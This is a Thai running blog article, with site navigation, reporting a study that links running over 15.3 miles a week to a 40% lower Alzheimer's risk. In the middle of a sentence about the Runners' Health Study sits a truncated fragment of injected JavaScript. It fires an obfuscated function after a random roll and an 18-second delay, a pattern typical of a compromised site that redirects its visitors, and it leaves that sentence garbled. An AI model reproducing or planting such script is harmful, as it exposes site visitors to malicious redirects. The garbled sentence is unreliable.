• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home News Healthy News

สุขภาพสมองแจ่มใสเพราะเราวิ่ง

Kanthad Yangsattha by Kanthad Yangsattha
28 November 2014
in Healthy News, News, Running Tips, Tips & Technics
0
สุขภาพสมองแจ่มใสเพราะเราวิ่ง
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

รู้หรือไม่ว่าถ้าเราวิ่งมากกว่า 15.3 ไมค์ (24.62k) ในหนึ่งสัปดาห์สามารถลดความเสี่ยงการเป็นโรคสมองเสื่อมหรือโรคอัลไซเมอร์ (alzheimers) ได้ถึง 40%

งานวิจัยนี้ได้ถูกตีพิมพ์ในนิตยสาร Journal of Alzheimer’s Disease พร้อมทั้งงานวิจัยอื่นที่พบว่ากการกินผลไม้อย่างน้อยสามชิ้นต่อวัน พร้อมทั้งใช้ยาลดไขมันหรือ Statins สามารถลดคอเลสเตอรอลและลดอัตราความเสี่ยงเป็นโรคความจำเสื่อมได้ด้วย ประมาณ 60 %

Dr. Paul Williams บอกว่าด้วยหลักฐานทางวิทยาศาสตร์ที่เพิ่มขึ้น พบว่า เราสามารถProactive หรือการทำกิจกรรมบางอย่างเพื่อป้องกัน เพื่อลดอัตราเสี่ยงการเป็นโรคอัลไซเมอร์ได้

งานวิจัยนี้ได้ข้อมูลมาจาก Runners’ Health Study andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the National Walkers’ Health Study ที่อเมริกานู้นนะครับ โดยผู้เข้าร่วมจะให้ข้อมูล พฤติกรรมการออกกำลังกาย อาหารการกิน ประวัติไข้ และก่อนพวกคำถาม questionnaire

ที่น่าสนใจคือต้องมีการศึกษาผู้เข้ารวมถึง 154,000 คนทั้งที่เป็นนักวิ่ง นักเดิน ในช่วงเวลาถึง 11+ ปี ในกลุ่มตัวอย่างนี้มี 175 คนที่ได้เสียชีวิตและได้ถูกวินิจฉัยว่าเป็นโรคอัลไซเมอร์ด้วยครับ

ทางงานวิจัยได้เปรียบกลุ่มคนที่วิ่งในระยะทางมากกว่า 15.3 ไมค์ใน 1 สัปดาห์กับกลุ่มคนที่วิ่ง ในระยะทาง 4.6-7.7 ไมค์ หรือ 7.4-12.39 กิโล พบว่ากลุ่มคนที่วิ่งน้อยกว่า 15.3 ไมค์ต่อสัปดาห์ไม่สามารถลดอัตราความเสี่ยงได้ แต่กลุ่มคนที่วิ่งมากกว่า 15.3 ไมค์กับกลุ่มคนที่ออกกำลังกายแบบเดินและใช้พลังงานเทียบเท่าคนที่วิ่งมากกว่า 15.3 ไมค์ต่อ 1 สัปดาห์

สำหรับกลุ่มคนที่เดิน Dr. Williams กล่าวต่อว่า ต้องเดินให้เร็วกว่าเดิม 50% และต้องใช้เวลามากกว่าการวิ่งสองเท่า เพื่อให้เผาผลาญพลังงานเท่ากับการวิ่ง เอาง่ายๆ เราต้องเดินให้เผาผลาญพลังงานเท่ากับการวิ่ง ที่ pace 12/mile

สุดท้ายนี้ก็มีคำถาม ว่าทำไมการออกกำลังกายทำให้สมองเราแจ่มใสและดีขึ้น Dr. Williams บอกว่าที่การทำงานที่สมองบริเวณ Hippocampus มีผลต่อการจำทั้ง Short และ long term ถ้าพื้นที่บริเวณนี้มีขนาดใหญ่ซึ่งจะพบได้ในคนที่ active หรือง่ายๆ คือออกกำลังกายบ่อย การทำงานสมองในบริเวณนี้ก็ประสิทธิภาพดีด้วย หรือการศึกษาอื่นก็พบว่าผู้สูงวัยที่ออกกำลังกายบ่อย จะมีการทำงานที่เชื่อมต่อกันของเซลล์ประสาทในสมองดีและมีประสิทธิภาพ ไม่แปลกเลยว่าทำไม่ผู้สูงวัยที่ออกกำลังการบ่อยๆ จึงมีความจำดีกันทุกคน

ที่มา http://goo.gl/WEq9n8

 

ShareTweetShare
Kanthad Yangsattha

Kanthad Yangsattha

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • คนกรุงวิ่งไหนดี…9 สวนสาธารณะขนาดกลางเหมาะสำหรับวิ่ง

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.